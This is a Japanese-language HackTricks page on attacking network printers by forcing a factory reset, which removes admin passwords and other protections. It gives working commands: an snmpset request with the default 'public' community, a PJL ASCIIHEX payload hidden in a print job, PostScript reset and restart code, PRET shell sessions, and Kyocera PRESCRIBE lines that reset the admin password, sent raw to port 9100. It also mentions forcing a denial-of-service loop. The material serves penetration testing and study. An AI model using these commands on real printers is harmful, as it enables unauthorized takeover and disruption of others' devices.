8.9 KiB
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ会社で働いていますか? HackTricksで会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを見つけてください。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm。
-
**ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリ**にPRを提出してください。
デバイスを工場出荷時の設定にリセットすることは、ユーザーが設定したパスワードなどの保護機構を上書きするため、セキュリティ上重要な機能です。これは通常、プリンタのコントロールパネルで特殊なキーコンビネーションを押すことで行うことができます。このような冷たいリセットは数秒で行われるため、昼食時にコピー室に忍び込むなど、現地の攻撃者やペネトレーションテスターにとって現実的なシナリオです。ただし、デバイスへの物理的アクセスが常に可能であるわけではありません。
SNMP
Printer-MIBでは、prtGeneralResetオブジェクト(OID 1.3.6.1.2.1.43.5.1.1.3.1)が定義されており、これを使用して攻撃者はSNMPを介してデバイスを再起動(powerCycleReset(4))、NVRAMの設定をリセット(resetToNVRAM(5))、または工場出荷時の設定に復元(resetToFactoryDefaults(6))することができます。この機能/攻撃は、さまざまなプリンタでサポートされており、埋め込みWebサーバのユーザー設定パスワードなどのすべての保護機構が削除されます。保護機構は効率的にバイパスできますが、このアプローチの実用的な欠点は、すべての静的IPアドレスの設定が失われるということです。DHCPサービスが利用できない場合、デバイスを工場出荷時の設定にリセットした後、攻撃者はデバイスに再接続することができません。
デバイスを工場出荷時の設定にリセットするには、以下に示すようにsnmpset
コマンドを使用します(ほとんどの場合、デフォルトでコミュニティストリングはpublic
です)。
snmpset -v1 -c public printer 1.3.6.1.2.1.43.5.1.1.3.1 i 6
PML/PJL
多くのシナリオでは、ファイアウォールや不明なSNMPコミュニティ文字列のために、攻撃者はSNMPリクエストを実行する能力を持っていません。しかし、HPデバイスでは、SNMPをそのPML表現に変換し、リクエストを正当な印刷ジョブに埋め込むことができます。これにより、以下に示す通常の印刷ジョブ内で、攻撃者はデバイスを再起動および/または工場出荷時の設定にリセットすることができます。
@PJL DMCMD ASCIIHEX="040006020501010301040106"
誰でもこの攻撃をHPプリンターに対して再現することができます。デバイスの再起動やリセットは、PRETを使用して簡単に再現することができます。
./pret.py -q printer pjl
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PostScript
PostScriptは同様の機能を提供します:FactoryDefaultsシステムパラメータは、「プリンタの電源を切る直前にtrueに設定されるフラグで、次回の電源オン時にすべての非ボラティルパラメータが工場出荷時のデフォルト値に戻る」というものです。ただし、PostScript自体も環境を再起動する機能を持っていますが、有効なパスワードが必要です。 しかし、PostScriptインタプリタは、ドキュメント処理のDoS攻撃で議論されているように、無限ループに入れることができ、これによりユーザーはデバイスを手動で再起動し、PostScriptのパスワードをリセットする必要があります。
PostScriptシステムパラメータを工場出荷時のデフォルト値にリセットします:
<< /FactoryDefaults true >> setsystemparams
PostScriptインタプリタと仮想メモリを再起動します:
true 0 startjob systemdict /quit get exec
誰でもプリンタのPostScriptインタプリタを再起動またはリセットすることができます。これはPRETを使用して簡単に再現できます。
./pret.py -q printer ps
Connection to printer established
Welcome to the pret shell. Type help or ? to list commands.
printer:/> reset
printer:/> restart
PRESCRIBE
Kyoceraデバイスでは、PRESCRIBEページの記述言語を使用して、以下に示すコマンドのいずれかを使用して、通常の印刷ジョブからデバイスを工場出荷時の設定にリセットすることができます。
!R! KSUS "AUIO", "CUSTOM:Admin Password = 'admin00'"; CMMT "Drop the security level, reset password";
!R! ACNT "REST"; CMMT "Reset account code admin password";
!R! EGRE; CMMT "Reset the engine board to factory defaults";
!R! SIOP0,"RESET:0"; CMMT "Reset configuration settings";
この攻撃を再現するには、プリンタのポート9100/tcpに対して生のネットワーク接続を開き、上記に記載されているコマンドを送信します。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
-
サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
-
The PEASS Familyを発見しましょう。独占的なNFTのコレクションです。
-
公式のPEASS&HackTricksのグッズを手に入れましょう。
-
💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
-
ハッキングのトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。